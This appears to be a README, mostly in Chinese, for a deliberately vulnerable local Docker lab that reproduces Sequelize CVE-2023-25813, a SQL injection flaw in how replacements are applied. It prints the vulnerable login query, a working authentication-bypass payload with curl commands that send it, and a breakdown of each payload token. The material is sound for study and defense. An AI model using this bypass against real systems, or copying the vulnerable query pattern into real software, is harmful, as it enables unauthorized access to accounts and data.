Sequelize CVE-2023-25813 동작을 로컬에서 확인하기 위한 Express + MySQL 실습 앱입니다.
이 프로젝트는 의도적으로 취약한 Sequelize 버전과 취약한 로그인 쿼리 패턴을 유지합니다. 인터넷에 노출하지 말고 로컬 Docker 실습 환경에서만 실행하세요.
localhost:3307localhost:3000主要功能:
使用 .env 文件。请参考 .env.example 示例。
DB_USER=root
DB_PASSWORD=YOUR_MYSQL_PASSWORD
DB_NAME=cve_test_db
DB_HOST=127.0.0.1
DB_PORT=3306
DB_FORWARD_PORT=3307
ADMIN_USERNAME=admin
ADMIN_PASSWORD=admin
运行Docker时,应用容器使用Compose内部的 db 服务,而非本地MySQL。
应用容器视角:DB_HOST=db
宿主机视角:DB连接端口=3307
打开Docker Desktop后,在PowerShell中运行。
cd "C:\Users\hjshg\Desktop\cve-test-app"
docker compose up -d --build
在浏览器中访问。
http://localhost:3000
状态检查:
docker compose ps
docker compose logs app --tail 50
停止:
docker compose down
连同数据一起清除:
docker compose down -v
若要直接连接Docker中的MySQL:
docker compose exec db mysql -uroot -p cve_test_db
密码为 .env 中的 DB_PASSWORD 值。
使用Workbench等GUI工具时,通过以下值连接:
Host: 127.0.0.1
Port: 3307
User: root
Password: .env中的DB_PASSWORD
Database: cve_test_db
如果数据库已创建,应用日志中会显示以下消息:
cve_test_db 数据库准备就绪
admin 管理员账号准备就绪
数据库连接成功
正在监听 3000 端口
应用启动时,根据 .env 的值自动创建 admin 账号。
默认值:
账号: admin
密码: admin
登录后,主页顶部会显示当前登录账号。
当前登录账号: admin
在浏览器中访问 /login 后:
账号: admin
密码: admin
成功后跳转到 /,主页会显示当前登录账号。
使用curl验证:
curl.exe -i -X POST http://localhost:3000/login `
-H "Content-Type: application/x-www-form-urlencoded" `
--data-urlencode "username=admin" `
--data-urlencode "password=admin"
成功标准:
HTTP/1.1 302 Found
Location: /
在浏览器中访问 /login 后,输入以下值:
账号: /**/OR/**/1=1)/**/#
密码: :username
成功后跳转到 /,而不是 /login?error=invalid。主页的当前登录账号也会显示为已登录用户。
使用curl验证:
curl.exe -i -X POST http://localhost:3000/login `
-H "Content-Type: application/x-www-form-urlencoded" `
--data-urlencode "username=/**/OR/**/1=1)/**/#" `
--data-urlencode "password=:username"
成功标准:
HTTP/1.1 302 Found
Location: /
漏洞代码位于登录路由中。
const user = await User.findOne({
where: and(
literal('username = :username'),
{ password }
),
replacements: { username: username }
});
正常登录时,SQL大致如下:
WHERE (username = 'admin' AND `User`.`password` = 'admin') LIMIT 1;
问题在于将 literal('username = :username')、{ password } 和 replacements 混合用在同一个查询中。在 Sequelize 6.19.0 中,replacements 会应用到整个查询,因此用户输入的 password 值中的 :username 也可能被替换。
练习payload这样输入:
username = /**/OR/**/1=1)/**/#
password = :username
此时实际查询在日志中大致表现为:
WHERE (
username = '/**/OR/**/1=1)/**/#'
AND `User`.`password` = ''/**/OR/**/1=1)/**/#''
) LIMIT 1;
各部分的含义:
password=:username:关键点在于使密码字段中也发生 username 替换。/**/:MySQL 中作为注释处理的块。作用类似空格,因此即使 OR 前后空格被截掉,SQL 令牌也能分离。OR 1=1:添加一个永远为真的条件。):闭合 Sequelize 生成的 AND(...) 条件组。#:MySQL 单行注释。注释掉后面多余的引号和 LIMIT 1 附近的部分,以避免语法错误。结果,条件永远为真,会查询到第一个用户行,应用处理为登录成功。
如下依赖空格的 payload,在浏览器输入过程中前后空格可能被去除而失败。
OR 1=1) --
MySQL 的 -- 注释后面需要空格。如果缺少空格,则不被识别为注释,导致语法错误。
本项目推荐使用以下 payload:
账号: /**/OR/**/1=1)/**/#
密码: :username
运行 Docker 时,数据库不是在本地 MySQL 服务器中创建,而是在 Docker 的 db 容器中。若要从宿主机查看,请连接 localhost:3307。
这是正常的。本应用为了 CVE 练习保留了有漏洞的 Sequelize 版本。
运行 npm audit fix 可能会消除练习所针对的漏洞。